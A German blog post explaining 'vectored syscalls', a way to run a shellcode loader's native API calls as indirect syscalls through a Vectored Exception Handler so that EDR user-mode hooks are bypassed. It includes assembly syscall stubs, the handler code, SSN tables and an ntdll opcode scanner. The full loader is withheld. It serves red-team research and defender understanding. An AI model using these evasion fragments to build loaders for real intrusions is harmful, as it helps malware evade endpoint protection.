EDR Hooks and Evasion
Grundsätzlich gibt es verschiedene Arten des API Hookings, eine häufig verwendete Form von EDRs wie CrowdStrike, Sentinel One, Trend Micro etc. ist das Inline API Hooking. Vereinfacht ausgedrückt wird bei dieser Variante der Execution Flow einer User-Mode-Anwendung durch eine 5 Byte
lange unkonditionierte Jump Instruction jmp
auf den EDR umgeleitet. Durch diese Umleitung hat ein EDR die Möglichkeit, eine dynamische Analyse der ausgeführten Anwendung im Kontext der Windows APIs durchzuführen und auf schädliches Verhalten zu prüfen.
Vereinfacht kann man sich das Inline API Hooking als eine Art Proxy auf Prozessebene vorstellen. Erst wenn der EDR den ausgeführten Code und Parameter als nicht schädlich bewertet, erfolgt der return
zur eigentlichen Funktion und die Ausführung des für den Übergang vom User- in den Kernel-Mode notwendigen syscalls
.
Aus Sicht des Red Teams bzw. eines böswilligen Angreifers möchte man natürlich vermeiden, dass die eigene Malware auf diese Weise vom EDR analysiert, möglicherweise erkannt und an der Ausführung gehindert wird. Aus diesem Grund sind Malware-Entwickler in den letzten Jahren sehr kreativ geworden und können mittlerweile auf eine Vielzahl unterschiedlicher User-Mode Hooking Evasion Techniken zurückgreifen. Beispielsweise kann ein Angreifer versuchen, die vom User-Mode Hooking betroffene DLL, z.B. ntdll.dll
oder kernel32.dll
, durch verschiedene Techniken zu unhooken bzw. zu patchen.
Alternativ oder ergänzend können auch Techniken wie direct oder indirect syscalls verwendet werden. Für die Implementierung, z.B. in einem Shellcode Loader, werden anstelle der Windows APIs die entsprechenden nativen APIs verwendet, z.B. NtAllocateVirtualMemory()
ersetzt VirtualAlloc()
. Durch die direkte Implementierung der nativen API bzw. des Syscall Stubs der nativen API muss der Shellcode Loader nicht mehr auf die kernel32.dll
und ntdll.dll
zugreifen und kann somit die Usermode Hooks umgehen. Es sein noch angemerkt, dass EDRs ihre Hooks in anderen DLLs wie z.B. user32.dll
, win32u.dll
, kernelbase.dll
etc. platzieren. Die Gesamtanzahl der platzierten Hooks variiert stark von EDR zu EDR. So gibt es EDRs, die insgesamt 30 Hooks platzieren, während andere EDRs bis zu 80 Hooks und mehr verwenden.
Je nachdem, ob direct- oder indirect syscalls verwendet werden, unterscheidet sich der Speicherbereich, in dem die syscall
und return
Anweisungen der verwendeten Native APIs ausgeführt werden. Werden direct syscalls verwendet, so erfolgt eine direkte Implementierung des kompletten syscall stubs mittels Assembly Instruktionen in der Malware. Entsprechend erfolgt die Ausführung der syscall
und return
Instruktion innerhalb des Speicherbereichs der Malware (.exe).
.CODE ; direct syscalls assembly code
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
mov r10, rcx ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.
mov eax, 18h ; Move the syscall number into the eax register.
syscall ; Execute syscall.
ret ; Return from the procedure.
NtAllocateVirtualMemory ENDP ; End of the procedure
Das Problem aus Sicht eines Malwareentwicklers hierbei: Erfolgt eine direkte Ausführung eines system calls (direct syscall) unter Windows durch eine Usermode Applikation, so führt dies aus Sicht eines EDR zu einem eindeutigen Indicator of Compromise (IOC). In diesem Fall kann beispielsweise der Thread Call Stack innerhalb einer Applikation (Malware) mittels Event Tracing for Windows (ETW) analysiert werden. Die folgende Abbildung zeigt die Anomalie der Stack Frames innerhalb des Thread Call Stacks einer Malware, die direct syscalls verwendet, bzw. die unterschiedliche Anordnung der Stack Frames im Vergleich zu einer legitimen Applikation.
Um dieses Problem zu umgehen bzw. den Thread Call Stack innerhalb einer Malware legitimer zu gestalten, wurde eine Weiterentwicklung von direct syscalls zu indirect syscalls vorgenommen. Durch die Verwendung von indirect syscalls wird erreicht, dass die Ausführung der syscall
und return
Instruktion innerhalb des syscall stubs im Speicher der ntdll.dll
erfolgt. Dieses Verhalten ist unter Windows legitim und im Vergleich zu direct syscalls wird durch indirect syscalls eine höhere Legitimität des Thread Call Stacks erreicht.
Dies kann programmtechnisch unter Assembler mit Hilfe einer unkonditionierten jump Instruktion jmp
erreicht werden. Nachdem die System Service Number kurz SSN
anhand der mov
Instruktion in das eax
Register verschoben wurde, erfolgt via jmp
Instruktion eine Umleitung in den Speicherbereich der ntdll.dll
. Anschließend erfolgt die Ausführung der syscall
und return
Instruktion am Ende des syscall stubs innerhalb des Speicherbereichs der ntdll.dll
.
.CODE ; indirect syscalls assembly code
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
mov r10, rcx ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.
mov eax, 18h ; Move the syscall number into the eax register.
jmp QWORD PTR [sysAddrNtAllocateVirtualMemory] ; Jump to the actual syscall memory address in ntdll.dll
NtAllocateVirtualMemory ENDP ; End of the procedure
Das Konzept von indirect syscalls, d.h. die Ausführung von syscall
und return
Statement im Kontext einer spezfischen Nativen API innerhalb des Speichers der ntdll.dll
, kann jedoch nicht nur durch die Implementierung von Assembly Code unter C erreicht werden. Das gleiche Verhalten kann auch durch die Verwendung von Vectored Exception Handling realisiert werden. Wie dies z.B. unter C im Kontext eines Shellcode-Loaders funktioniert, soll in diesem Artikel basierend auf dem Artikel von Cyberwarfare erläutert werden.
Vectored Exception Handling
Vectored Exception Handling (VEH) wurde mit Windows XP eingeführt und ist Teil des Exception Handling Mechanismus, der Fehler (z.B. Division durch Null) und ungewöhnliche Zustände oder Ausnahmen (z.B. unzulässiger Speicherzugriff) behandelt, die während der Ausführung eines Programms auftreten können. Vectored Exception Handling ist Teil des umfassenderen Windows Structured Exception Handling (SEH) Frameworks. Im Gegensatz zu SEH, das spezifisch für eine Funktion oder einen Codeblock definiert ist, ist VEH global für die gesamte Anwendung und wird beim Auftreten eines Fehlers während der Programmausführung vor den Standard Structured Exception Handlern aufgerufen.
Die Implementierung des Handlers erfolgt über PVECTORED_EXCEPTION_HANDLER, der Aufruf bzw. das Registrieren über die Windows API AddVectoredExceptionHandler und das De-registrieren durch RemoveVectoredExceptionHandler. Mit dem Member ExceptionCode kann innerhalb der EXCEPTION_RECORD Struktur festgelegt werden, durch welche Exception der Handler ausgelöst werden soll. Mit Vectored Exception Handling können Entwickler eine individuelle und spezifische Logik für die Behandlung von Exceptions wie z.B. EXCEPTION_ACCESS_VIOLATION
, EXCEPTION_BREAKPOINT
, EXCEPTION_FLT_DIVIDE_BY_ZERO
etc. implementieren und damit eine größere Kontrolle darüber erlangen, wie ein Programm in verschiedenen Fehlerszenarien reagiert.
Der folgende C-Code zeigt beispielhaft, wie die Definition einer VEH-Funktion mittels VectoredExceptionHandler
aussehen kann. Der Code zeigt auch, wie der Vector Exception Handler innerhalb der Main-Funktion mit AddVectoredExceptionHandler()
und RemoveVectoredExceptionHandler()
registriert und desregistriert werden kann.
#include <windows.h>
#include <stdio.h>
// Prototype of the VEH function
LONG CALLBACK VectoredExceptionHandler(EXCEPTION_POINTERS *ExceptionInfo);
// Implementation of the VEH function
LONG CALLBACK VectoredExceptionHandler(EXCEPTION_POINTERS *ExceptionInfo) {
// Check if it's an access violation
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
printf("Access violation detected!\n");
// Handle the exception here
// ...
}
// Additional exceptions can be handled here
// ...
// EXCEPTION_CONTINUE_SEARCH indicates that the next handler function should be called
return EXCEPTION_CONTINUE_SEARCH;
}
int main() {
// Add the Vectored Exception Handler
PVOID handle = AddVectoredExceptionHandler(1, VectoredExceptionHandler);
// Normal code can be added here
// ...
// Remove the Vectored Exception Handler before exiting the program
RemoveVectoredExceptionHandler(handle);
return 0;
}
Aber auch Red Teams und Angreifer machen sich Vectored Exception Handling zunutze und können durch die Implementierung in ihre Malware z.B. den Programmablauf verschleiern oder eine gezeilte Ausführung von Shellcode durch VEH erreichen. So zeigt beispielsweise der folgende Artikel von CrowdStrike oder der Artikel von Elastic Security Labs sehr schön, wie die Malware GULOADER Vectored Exception Handling nutzt, um den Programmablauf zu verschleiern (Anti-Debugging) und damit die manuelle Analyse mittels Reverse Engineering zu erschweren.
Vectored Syscalls
Wie bereits erwähnt, soll in diesem Artikel untersucht werden, wie eine Implementierung von Vectored Exception Handling in einem Shellcode Loader zur Ausführung von Shellcode mittels syscalls aussehen kann. Als Grundlage für meinen Shellcode Loader habe ich den Code von cyberwarefare verwendet, der auf Github zu finden ist. Da ich aus OPSEC Gründen Remote Injection bestmöglich vermeide, habe ich den Shellcoder Loader für mich so umgeschrieben, dass die Ausführung des Shellcodes innerhalb des auszuführenden Loaders erfolgt (Self Injection). Ich möchte an dieser Stelle nicht den umgeschriebenen Code veröffentlichen, sondern anhand der relevanten Codeteile das Prinzip von Vectored Exception Handling im Kontext der Shellcodeausführung erläutern.
Was versteht man nun unter Syscalls über Vectored Exception Handling bzw. Vectored Syscalls? Vereinfacht gesagt wollen wir durch die Definition einer VEH-Funktion und die bewusste Erzeugung einer Exception die Ausführung von syscalls durch den Vectored Exception Handler erreichen. Wie wir später sehen werden, erreichen wir damit die Ausführung von Shellcode in Form von indirect syscalls, jedoch ohne die Implementierung von Assemblerbefehlen im Code.
Im Folgenden werden wir uns die wichtigsten Code-Elemente ansehen, die für die Implementierung von syscalls über Vectored Exception Handling notwendig sind, und ich werde versuchen, so gut wie möglich zu erklären, wie sie funktionieren.
Vectored Exception Handler Function
Im ersten Schritt betrachten wir die Vectored Exception Handler Funktion PvectoredExceptionHandler()
, die später in der Main Funktion über Windows API AddVectoredExceptionHandler()
aufgerufen wird. Die Definition der Funktion erfolgt über PVECTORED_EXCEPTION_HANDLER
. Innerhalb der Funktion wird mit EXCEPTION_RECORD
das Kriterium (Exception) definiert, das eine Übergabe an den Vectored Exception Handler auslösen soll. Genauer gesagt definieren wir innerhalb von EXCEPTION_RECORD
den Wert für das Member ExceptionCode
. In unserem Fall weisen wir dem Member ExceptionCode
den Wert EXCEPTION_ACCESS_VIOLATION
zu. Wir werden später sehen, warum wir genau diese Exception definieren und wie sie ausgelöst wird.
// Vectored Exception Handler function
LONG CALLBACK PvectoredExceptionHandler(PEXCEPTION_POINTERS exception_ptr) {
// Check if the exception is an access violation
if (exception_ptr->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
// Modify the thread's context to redirect execution to the syscall address
// Copy RCX register to R10
exception_ptr->ContextRecord->R10 = exception_ptr->ContextRecord->Rcx;
// Copy RIP (Instruction Pointer) to RAX (RIP keeps SSN --> RAX keeps SSN)
exception_ptr->ContextRecord->Rax = exception_ptr->ContextRecord->Rip;
// Set RIP to global address (set syscalls address retrieved from NtDrawText to RIP register)
exception_ptr->ContextRecord->Rip = g_syscall_addr;
// Continue execution at the new instruction pointer
return EXCEPTION_CONTINUE_EXECUTION;
}
// Continue searching for another exception handler
return EXCEPTION_CONTINUE_SEARCH;
}
Für die Realisierung von syscalls via Vectored Exception Handling müssen innerhalb der VEH-Funktion PvectoredExceptionHandler()
weitere Pointer exception_ptr
definiert werden. Im Vergleich zu vorher wird jedoch die Struktur CONTEXT verwendet, um auf die gewünschten Register rcx
, r10
, rax
, rip
zugreifen zu können. Anhand von diesen Pointern bilden wir die Grundlage für die Ausführung von syscalls via VEH. Wenn ich es richtig verstanden habe, bildet die Struktur der VEH-Funktion PvectoredExceptionHandler()
letztlich den Teil des Syscall Stubs einer Native API nach, der letztlich für die Vorbereitung der SSN
und die Ausführung der SSN
via syscall
notwendig ist. Die folgende Abbildung soll diese Analogie verdeutlichen.
Am Ende der Funktion PvectoredExceptionHandler()
wird mit EXCEPTION_CONTINUE_EXECUTION festgelegt, dass nach der Behandlung einer durch EXCEPTION_ACCESS_VIOLATION
ausgelösten Exception die Programmausführung an der Stelle fortgesetzt werden soll, an der die Exception ausgelöst wurde. Für den Fall, dass eine Exception ausgelöst wird, die nicht durch die Exception EXCEPTION_ACCESS_VIOLATION
ausgelöst wurde, erfolgt via EXCEPTION_CONTINUE_SEARCH eine Übergabe an die nächste VEH-Funktion. In unserem Fall haben wir keinen weitere VEH-Funktion definiert und somit würde durch eine Übergabe an den Structured Exception Handler (SEH) erfolgen.
// Continue execution at the new instruction pointer
return EXCEPTION_CONTINUE_EXECUTION;
}
// Continue searching for another exception handler
return EXCEPTION_CONTINUE_SEARCH;
Exception Triggering
Nach der Definition der VEH-Funktion muss noch eine Möglichkeit gefunden werden, gezielt die Exception EXCEPTION_ACCESS_VIOLATION
auszulösen. Dazu werden im Shellcode Loader alle nativen APIs (die als Pointer deklariert sind) direkt über die respektive SSN
initialisiert. Da jedoch eine als Pointer definierte Variable, z.B. pNtAllocateVirtualMemory
, im Normalfall auf eine Speicheradresse und nicht direkt auf einen Wert zeigen soll, führt dies zu einem unzulässigen Speicherzugriff, wodurch die VEH-Funktion über EXCEPTION_ACCESS_VIOLATION
ausgelöst wird.
// Define syscall numbers for various NT API functions
enum syscall_no {
SysNtAllocateVirtualMem = 0x18, // Syscall number for NtAllocateVirtualMemory
SysNtWriteVirtualMem = 0x3A, // Syscall number for NtWriteVirtualMemory
SysNtProtectVirtualMem = 0x50, // Syscall number for NtProtectVirtualMemory
SysNtCreateThreadEx = 0xC2, // Syscall number for NtCreateThreadEx
SysNtWaitForSingleObject = 0x4 // Syscall number for NtWaitForSingleObject
};
// Assign system call function pointers to their respective syscall numbers
_NtAllocateVirtualMemory pNtAllocateVirtualMemory = (_NtAllocateVirtualMemory)SysNtAllocateVirtualMem;
_NtWriteVirtualMemory pNtWriteVirtualMemory = (_NtWriteVirtualMemory)SysNtWriteVirtualMem;
_NtProtectVirtualMemory pNtProtectVirtualMemory = (_NtProtectVirtualMemory)SysNtProtectVirtualMem;
_NtCreateThreadEx pNtCreateThreadEx = (_NtCreateThreadEx)SysNtCreateThreadEx;
_NtWaitForSingleObject pNtWaitForSingleObject = (_NtWaitForSingleObject)SysNtWaitForSingleObject;
Wie auch im Artikel von cyberwarefare beschrieben, hat die Initialisierung der nativen APIs über die SSN
zum einen den Vorteil, dass gezielt eine EXCEPTION_ACCESS_VIOLATION
ausgelöst werden kann. Zum anderen hat sie den Vorteil, dass die SSN
im rip
Register zwischengespeichert, an den Vectored Exception Handler übergeben und innerhalb der VEH-Funktion PvectoredExceptionHandler()
an das rax
Register übergeben wird.
Dieser Vorgang lässt sich durch Debugging in IDA sehr gut veranschaulichen. In der folgenden Abbildung ist gut zu erkennen, wie der Versuch, die native API NtAllocateVirtualMemory()
über SSN
0x18
zu initialisieren, zu einem unzulässigen Speicherzugriffsversuch (exc.code c0000005) führt, dadurch die Access Violation Exception getriggert wird, einer Übergabe an den Vectored Exception Handler stattfindet, die SSN
0x18
in das rip
Register bzw schließlich in das rax
Register verschoben wird.
Im Prinzip erreicht man damit eine Vorbereitung der SSN
im rax
Register (ähnlich der Vorbereitung mittels assembly code mov eax, SSN
) für die anschließende Ausführung mittels syscalls
. Dieser Vorgang wird solange wiederholt, bis alle im Shellcode Loader verwendeten bzw. über SSN
initiierten nativen APIs nach dem jeweiligen Auslösen einer EXCEPTION_ACCESS_VIOLATION
an den Vectored Exception Handler übergeben und abgearbeitet wurden.
Anmerkung: Die SSN
für NtAllocateVirtualMemory()
muss nicht unbedingt 0x18
sein, da die SSNs
für die gleiche Funktion von Windows zu Windows und von Version zu Version unterschiedlich sein können.
Find Syscall and Return
Um schließlich eine Ausführung der SSN
(die sich bereits im rax
Register befindet) innerhalb der VEH-Funktion PvectoredExceptionHandler()
zu erreichen, muss noch eine Möglichkeit gefunden werden, die Speicheradresse einer syscall
Instruktion an das rip
Register zu übergeben.
Dazu verwenden wir im ersten Schritt die Windows API GetModuleHandleA()
, um auf den Speicher der ntdll.dll
zugreifen zu können. Im nächsten Schritt greifen wir über die API GetProcAddress()
auf eine native API wie z.B. NtDrawText()
zu. Auf welche API wir in diesem Fall zugreifen, spielt keine Rolle und ist unabhängig davon, welche native API wir für die Speicherreservierung, das Kopieren des Shellcodes, die Ausführung des Shellcodes etc. verwenden.
// Retrieve the module handle for ntdll.dll (Windows NT Layer DLL)
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (hNtdll == NULL) {
printf("Failed to get module handle for ntdll.dll\n");
exit(-1);
}
// Retrieve the address of the NtDrawText function in ntdll.dll
FARPROC drawtext = GetProcAddress(hNtdll, "NtDrawText");
if (drawtext == NULL) {
printf("Error GetProcess Address\n");
exit(-1);
}
Letztlich geht es nur darum, mit der Funktion FindSyscallAddr
auf die Basisadresse
des zuvor ausgewählten Native API NtDrawText()
zugreifen zu können und im nächsten Schritt mit Hilfe eines Opcodevergleichs über eine while-Schleife die syscall
und return
Anweisung innerhalb des Syscall Stubs zu finden.
// Function to find the syscall instruction within a function in ntdll.dll
BYTE* FindSyscallAddr(ULONG_PTR base) {
// Cast the base address to a BYTE pointer for byte-level manipulation
BYTE* func_base = (BYTE*)(base);
// Temporary pointer for searching the syscall instruction
BYTE* temp_base = 0x00;
// Iterate through the function bytes to find the syscall instruction pattern (0x0F 0x05)
// 0xc3 is the opcode for the 'ret' (return) instruction in x64 assembly
while (*func_base != 0xc3) {
temp_base = func_base;
// Check if the current byte is the first byte of the syscall instruction
if (*temp_base == 0x0f) {
temp_base++;
// Check if the next byte completes the syscall instruction
if (*temp_base == 0x05) {
temp_base++;
// Check for 'ret' following the syscall to confirm it's the end of the function
if (*temp_base == 0xc3) {
temp_base = func_base;
break;
}
}
}
else {
// Move to the next byte in the function
func_base++;
temp_base = 0x00;
}
}
// Return the address of the syscall instruction
return temp_base;
}
Die folgende Abbildung zeigt mittels Debugging in IDA, wie im ersten Schritt mittels Windows APIs GetModuleHandleA()
und GetProcAddress()
auf die Basisadresse der nativen API NtDrawtext()
innerhalb des Speichers der ntdll.dll
zugegriffen und anschließend mittels cmp
der Opcodevergleich für 0xf
, 0x05
(syscall
) und 0xc3
(return
) durchgeführt wird.
Die Zwischenspeicherung der Speicheradresse der syscall
Instruktion erfolgt über die als global deklarierte Variable g_syscall_addr
.
// Global variable to store the address of the syscall instruction
ULONG_PTR g_syscall_addr = 0x00;
Schließlich wird innerhalb der VEH-Funktion PvectoredExceptionHandler()
mittels exception_ptr
die Speicheradresse (die auf die syscall
Anweisung innerhalb des syscall-Stubs von NtDrawText()
zeigt) an das rip
Register übergeben.
// Vectored Exception Handler function
LONG CALLBACK PvectoredExceptionHandler(PEXCEPTION_POINTERS exception_ptr) {
// Check if the exception is an access violation
if (exception_ptr->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
// Modify the thread's context to redirect execution to the syscall address
// Copy RCX register to R10
exception_ptr->ContextRecord->R10 = exception_ptr->ContextRecord->Rcx;
// Copy RIP (Instruction Pointer) to RAX (RIP keeps SSN --> RAX keeps SSN)
exception_ptr->ContextRecord->Rax = exception_ptr->ContextRecord->Rip;
// Set RIP to global address (set syscalls address retrieved from NtDrawText to RIP register)
exception_ptr->ContextRecord->Rip = g_syscall_addr;
// Continue execution at the new instruction pointer
return EXCEPTION_CONTINUE_EXECUTION;
}
// Continue searching for another exception handler
return EXCEPTION_CONTINUE_SEARCH;
}
// Set RIP to the syscall address for execution
exception_ptr->ContextRecord->Rip = g_syscall_addr;
Zur Erinnerung: Bei dem Versuch, ein natives API z.B. NtAllocateVirtualMemory()
über SSN
zu initialisieren, konnten wir bereits über Access Violation Exception gezielt den Vectored Exception Handler auslösen und eine Übergabe der SSN
0x18
in das rip
bzw. rax
register erreichen. Da wir nun auch über eine gültige Speicheradresse für die syscall
Anweisung im Kontext der nativen API NtDrawText()
verfügen, können wir schließlich über Vectored Exception Handling den syscall
für die native API NtAllocateVirtualMemory()
ausführen.
Wie bereits zuvor erwähnt, wird dieser Vorgang solange wiederholt, bis alle im Shellcode Loader verwendeten bzw. über SSN
initiierten nativen APIs nach dem jeweiligen Auslösen einer EXCEPTION_ACCESS_VIOLATION
gesondert an den Vectored Exception Handler übergeben, abgearbeitet wurden und schlussendlich der Shellcode ausgeführt wird.
Zusammenfassung
Als Ergebnis haben wir nun die Grundlage geschaffen, die im Kontext des Shellcode Loaders verwendeten nativen APIs mittels syscalls über Vectored Exception Handling (Vectored Syscalls) auszuführen. Anbei noch einmal eine grobe Zusammenfassung der wichtigsten Abläufe im Code.
- Anhand von
PVECTORED_EXCEPTION_HANDLER
erfolgt die Definition der Vectored Exception Handler FunktionPvectoredExceptionHandler()
- Innerhalb der Funktion
PvectoredExceptionHandler()
definieren wir den Exception-Code, z.B.EXCEPTION_ACCESS_VIOLATION
, der eine Übergabe and den Vectored Exception Handler auslösen soll.
- Innerhalb der
PvectoredExceptionHandler()
Funktion definieren wir die notwendigen Pointer welche notwendig sind um auf die Registerrcx
,r10
,rax
,rip
zugreifen zu können.
- Wir provozieren absichtlich eine Auslösung der
EXCEPTION_ACCESS_VIOLATION
, welche als Exception Code innerhalb unserer VEH-Funktion definiert wurde. - Die Auslösung der
EXCEPTION_ACCESS_VIOLATION
erfolgt durch den Versuch, ein Native API z.B.NtAllocateVirtualMemory()
viaSSN
zu initiieren. - Die
SSN
, wird an dasrip
Register übergeben, das wiederum innerhalb der VEH-Funktion an dasrax
Register übergeben wird. - Die Windows API
GetModuleHandleA()
wird für den Zugriff auf den Speicher derntdll.dll
verwendet.
- Weiters greifen wir mittels
GetProcAddress()
auf die Basisadresse einer beliebigen Native API innerhalb derntdll.dll
zu (zum BeispielNtDrawText()
). - Die Funktion
FindSyscallAddr
führt mittels einer While-Schleife einen Opcodevergleich durch, um die Speicheradresse dersyscall
Anweisung innerhalb des Sycall-Stubs der Native API (z. B.NtDrawText()
) zu finden. - Die Speicheradresse der
Syscall
Instruktion wird in der als global deklarierten Variableng_syscall_addr
gespeichert und innerhalb der VEH-Funktion an dasRIP
Register übergeben. - Anschließend erfolgt die Ausführung des
syscalls
für die native API z.B.NtAllocateVirtualMemory()
durch den registrierten Vectored Exception Handler.
- Wiederholung der Prozedur für alle anderen notwendigen nativen APIs, die zur Ausführung des Shellcodes benötigt werden, z.B.
NtWriteVirtualMemory()
,NtProtectVirtualMemory()
,NtCreateThreadEx()
undNtWaitForSingleObject()
.
Letztendlich erreichen wir durch diese Abfolge eine Ausführung des Shellcodes in unserem Loader in Form von (indirect) syscalls durch Vectored Exception Handling.
Erkenntnisse
Wie bereits erwähnt, können direct syscalls oder indirect syscalls über Assembly Code innerhalb eines Shellcode Loaders realisiert werden. Dieser Artikel hat jedoch gezeigt, dass die Realisierung auch über Vectored Exception Handling (VEH) erfolgen kann.
Vergleicht man beispielsweise die Anordnung der Stack Frames innerhalb des Thread Call Stacks zwischen einem indirect syscall shellcode loader und einem vectored syscall shellcode loader, so stellt man fest, dass die Anordnung völlig identisch ist. Dieses Ergebnis war auch zu erwarten, da mittels Vectored Exception Handling die Ausführung der syscall
und return
Anweisung innerhalb des Speichers der ntdll.dll
stattfindet.
Trotz der Tatsache, dass in beiden Shellcode-Loadern die native API NtWaitForSingleObject()
zuletzt ausgeführt wird, kann man im Thread Call Stack des Vectored Syscall Loaders (Bild rechts) erkennen, dass im Vergleich zum Indirect Syscall Loader die return
Anweisung im Speicherbereich von NtDrawText()
und nicht im Speicherbereich von NtWaitForSingleObject()
ausgeführt wird. Dies hat den einfachen Grund, dass wir in unserem Vectored Syscall Loader über die Windows API GetProcAddress()
auf die Basisadresse von NtDrawText()
zugreifen, um über einen Opcodevergleich die syscall
Anweisung innerhalb des Syscall Stubs zu finden, die Speicheradresse des syscalls
in der global deklarierten Variablen g_syscall_addr
speichern und schließlich zur Ausführung des syscalls
über den Vectored Exception Handler die Speicheradresse der syscall
Anweisung im Kontext von NtDrawText()
innerhalb der VEH-Funktion PvectoredExceptionHandler an das rip
Register übergeben.
Inwieweit die Ausführung von Syscalls über Vectored Exception Handling einen Vorteil gegenüber EDR Evasion bietet, kann zum jetzigen Zeitpunkt mangels Erfahrung noch nicht beurteilt werden. Ich hoffe, dieser Artikel hat Ihnen geholfen, mehr über das Thema Vectored Exception Handling zu erfahren und wie es bei der Entwicklung von Malware z.B. für die Ausführung von Shellcode über syscalls eingesetzt werden kann. Bis zum nächsten Artikel!
Happy Hacking!
Daniel Feichter @VirtualAllocEx